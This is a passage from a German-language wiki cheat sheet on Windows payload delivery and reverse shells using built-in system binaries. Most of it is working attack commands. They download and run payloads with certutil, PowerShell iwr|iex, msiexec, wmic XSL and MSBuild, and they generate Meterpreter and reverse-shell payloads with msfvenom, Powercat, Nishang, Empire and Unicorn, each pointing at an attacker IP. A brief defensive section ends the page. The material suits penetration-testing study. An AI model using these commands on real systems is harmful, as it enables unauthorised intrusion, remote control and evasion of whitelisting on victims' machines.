certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &amp;amp; certutil -decode payload.b64 payload.exe &amp;amp; payload.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Cscript / Wscript ==&lt;br /&gt;
&lt;br /&gt;
VBScript-Dateien können über PowerShell heruntergeladen und dann mit &amp;lt;code&amp;gt;cscript.exe&amp;lt;/code&amp;gt; ausgeführt werden. Nützlich wenn PowerShell eingeschränkt ist.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -c &amp;quot;(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs','\&amp;quot;$env:temp\test.vbs\&amp;quot;');Start-Process %windir%\system32\cscript.exe '\&amp;quot;$env:temp\test.vbs\&amp;quot;'&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cscript via Metasploit (msfvenom) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs &amp;gt; shell.vbs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PS-Bat (Batch + SMB) ==&lt;br /&gt;
&lt;br /&gt;
Eine per &amp;lt;code&amp;gt;msfvenom&amp;lt;/code&amp;gt; generierte BAT-Datei, die via Impacket-SMBServer bereitgestellt und direkt über UNC-Pfad ausgeführt wird. Der Payload landet im lokalen WebDAV-Cache; ausführender Prozess ist &amp;lt;code&amp;gt;svchost.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Angreifer: Payload generieren und SMB-Server starten&lt;br /&gt;
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 &amp;gt; shell.bat&lt;br /&gt;
impacket-smbserver -smb2support kali `pwd`&lt;br /&gt;
&lt;br /&gt;
# Opfer: Batch-Datei direkt per UNC ausführen&lt;br /&gt;
\\10.8.0.3\kali\shell.bat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== MSIExec ==&lt;br /&gt;
&lt;br /&gt;
Windows Installer (&amp;lt;code&amp;gt;msiexec.exe&amp;lt;/code&amp;gt;) kann MSI-Pakete aus dem Netz installieren. Ein via Metasploit erzeugtes MSI liefert einen Meterpreter-Payload.&lt;br /&gt;
&lt;br /&gt;
; Angreifer:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi &amp;gt; shell.msi&lt;br /&gt;
python -m SimpleHTTPServer 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Opfer:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i \\10.2.0.5\kali\shell.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;/quiet&amp;lt;/code&amp;gt; unterdrückt jede Benutzerinteraktion; &amp;lt;code&amp;gt;/i&amp;lt;/code&amp;gt; startet die Installation.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== WMIC ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;wmic.exe&amp;lt;/code&amp;gt; (Windows Management Instrumentation Command-line) kann XSL-Stylesheets aus dem Netz laden und ausführen – dabei wird JScript im Kontext von &amp;lt;code&amp;gt;wmic.exe&amp;lt;/code&amp;gt; ausgeführt.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic os get /format:&amp;quot;https://webserver/payload.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Beispiel XSL-Datei mit eingebettetem JScript-Payload:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?xml version='1.0'?&amp;gt;&amp;lt;stylesheet xmlns=&amp;quot;http://www.w3.org/1999/XSL/Transform&amp;quot;&lt;br /&gt;
xmlns:ms=&amp;quot;urn:schemas-microsoft-com:xslt&amp;quot;&lt;br /&gt;
xmlns:user=&amp;quot;placeholder&amp;quot; version=&amp;quot;1.0&amp;quot;&amp;gt;&amp;lt;output method=&amp;quot;text&amp;quot;/&amp;gt;&amp;lt;ms:script implements-prefix=&amp;quot;user&amp;quot;&lt;br /&gt;
language=&amp;quot;JScript&amp;quot;&amp;gt; &amp;lt;![CDATA[ var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -&amp;quot;); ]]&amp;gt; &amp;lt;/ms:script&amp;gt;&amp;lt;/stylesheet&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== MSBuild ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;MSBuild.exe&amp;lt;/code&amp;gt; ist der Microsoft Build Engine und kann inline C#-Code aus einer Projektdatei kompilieren und ausführen. Damit lassen sich Application-Whitelisting-Mechanismen und &amp;lt;code&amp;gt;powershell.exe&amp;lt;/code&amp;gt;-Restriktionen umgehen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cmd /V /c &amp;quot;set MB=&amp;quot;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe&amp;quot; &amp;amp; !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml &amp;gt; payload.xml &amp;amp; !MB! payload.xml&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
MSBuildShell-Beispielprojekt (erzeugt eine vollwertige PS-Shell):&lt;br /&gt;
&lt;br /&gt;
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== CSC (C#-Compiler) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;csc.exe&amp;lt;/code&amp;gt; (C# Compiler) gehört zum .NET Framework und ist auf vielen Windows-Systemen vorhanden. Damit kann direkt auf dem Zielsystem C#-Code kompiliert werden – kein Compiler auf dem Angreifer-System nötig.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eine einfache C#-Reverse-Shell (&amp;lt;code&amp;gt;shell.cs&amp;lt;/code&amp;gt;) erstellt einen &amp;lt;code&amp;gt;TcpClient&amp;lt;/code&amp;gt;, startet &amp;lt;code&amp;gt;cmd.exe&amp;lt;/code&amp;gt; und leitet stdin/stdout/stderr auf den Socket um.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Regasm / Regsvc ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;regasm.exe&amp;lt;/code&amp;gt; (Assembly Registration Utility) kann DLLs von UNC-Pfaden laden und die darin enthaltenen COM-Registrierungsfunktionen ausführen – auch wenn die DLL gar keine gültige COM-Klasse enthält.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PowerShell Shells ==&lt;br /&gt;
&lt;br /&gt;
=== PS-Nishang ===&lt;br /&gt;
&lt;br /&gt;
Nishang ist eine Sammlung von PowerShell-Skripten und -Payloads für Pentesting und Post-Exploitation. Das Skript &amp;lt;code&amp;gt;Invoke-PowerShellTcp.ps1&amp;lt;/code&amp;gt; aus dem Shells-Ordner wird kopiert und am Ende ergänzt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Das modifizierte Skript auf einem Webserver bereitstellen und auf dem Opfer ausführen:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powershell -exec bypass -c &amp;quot;iwr('http://10.11.0.134/shell2.ps1')|iex&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PS-Powercat ===&lt;br /&gt;
&lt;br /&gt;
Powercat ist die PowerShell-Implementierung von Netcat. Sie unterstützt Bind/Reverse Shells über TCP, UDP und DNS, Port-Weiterleitung, Dateiübertragung und Payload-Generierung.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Laden und ausführen&lt;br /&gt;
powershell -exec bypass -c &amp;quot;iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Weitere Optionen:&lt;br /&gt;
&lt;br /&gt;
 powercat -l -p 443 -e cmd          # Bind Shell (cmd)&lt;br /&gt;
 powercat -c 10.1.1.1 -p 443 -e cmd # Reverse Shell (cmd)&lt;br /&gt;
 powercat -c 10.1.1.1 -p 443 -ep    # Reverse Shell (PowerShell)&lt;br /&gt;
 powercat -c 10.1.1.1 -p 443 -ep -u # Reverse Shell via UDP&lt;br /&gt;
 powercat -l -p 8000 -r tcp:10.1.1.16:443  # TCP-Relay&lt;br /&gt;
 powercat -c 10.1.1.15 -p 443 -e cmd -g    # Payload generieren&lt;br /&gt;
 powercat -l -p 443 -i C:\inputfile -rep   # Datei persistent bereitstellen&lt;br /&gt;
&lt;br /&gt;
=== Empire ===&lt;br /&gt;
&lt;br /&gt;
Empire ist ein vollständiges Post-Exploitation-Framework mit PowerShell- und Python-Agenten. Ein Launcher wird als PS1-Datei erzeugt und per &amp;lt;code&amp;gt;iex&amp;lt;/code&amp;gt; im Speicher ausgeführt.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powershell -exec bypass -c &amp;quot;iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Projektseite: https://github.com/EmpireProject/Empire&lt;br /&gt;
&lt;br /&gt;
=== MSF-Unicorn ===&lt;br /&gt;
&lt;br /&gt;
Unicorn (TrustedSec) erzeugt einen PowerShell-Payload, der direkt Metasploit-Shellcode in den Speicher injiziert (reflektive Injektion) – ohne eine Datei auf die Disk zu schreiben.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443&lt;br /&gt;
msfconsole -r unicorn.rc&lt;br /&gt;
# Auf dem Opfer:&lt;br /&gt;
powershell -exec bypass -c &amp;quot;iwr('http://10.2.0.5/powershell_attack.txt')|iex&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Projektseite: https://github.com/trustedsec/unicorn&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Defensive Hinweise ==&lt;br /&gt;
&lt;br /&gt;
Die oben beschriebenen Techniken nutzen ausnahmslos legitime Windows-Systemkomponenten (''Living off the Land Binaries'', LOLBINs). Klassische AV-Signaturen greifen hier oft nicht. Empfohlene Gegenmaßnahmen:&lt;br /&gt;
&lt;br /&gt;
* '''Netzwerk:''' Ausgehende Verbindungen von Systemen einschränken (Egress Filtering), SSL-Inspection aktivieren, ungewöhnliche Verbindungen zu bekannten C2-Ports (4444, 4242, 8080) monitoren.&lt;br /&gt;
* '''Endpunkt:''' PowerShell Constrained Language Mode, Script Block Logging und Transcription aktivieren; AMSI (Antimalware Scan Interface) nicht deaktivieren lassen; AppLocker/WDAC-Policies für mshta, rundll32, regsvr32, wmic, msbuild, csc.exe konfigurieren.&lt;br /&gt;
* '''SIEM/IDS:''' Prozess-Eltern-Kind-Beziehungen auswerten (z. B. &amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt; → &amp;lt;code&amp;gt;cmd.exe&amp;lt;/code&amp;gt;); Suricata-Regeln für bekannte Reverse-Shell-Signaturen; Windows Event IDs 4688 (Prozessstart mit Kommandozeile) und 7045 (neuer Dienst) überwachen.&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Security]]&lt;br /&gt;
[[Kategorie:Pentesting]]&lt;br /&gt;
[[Kategorie:Windows]]&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>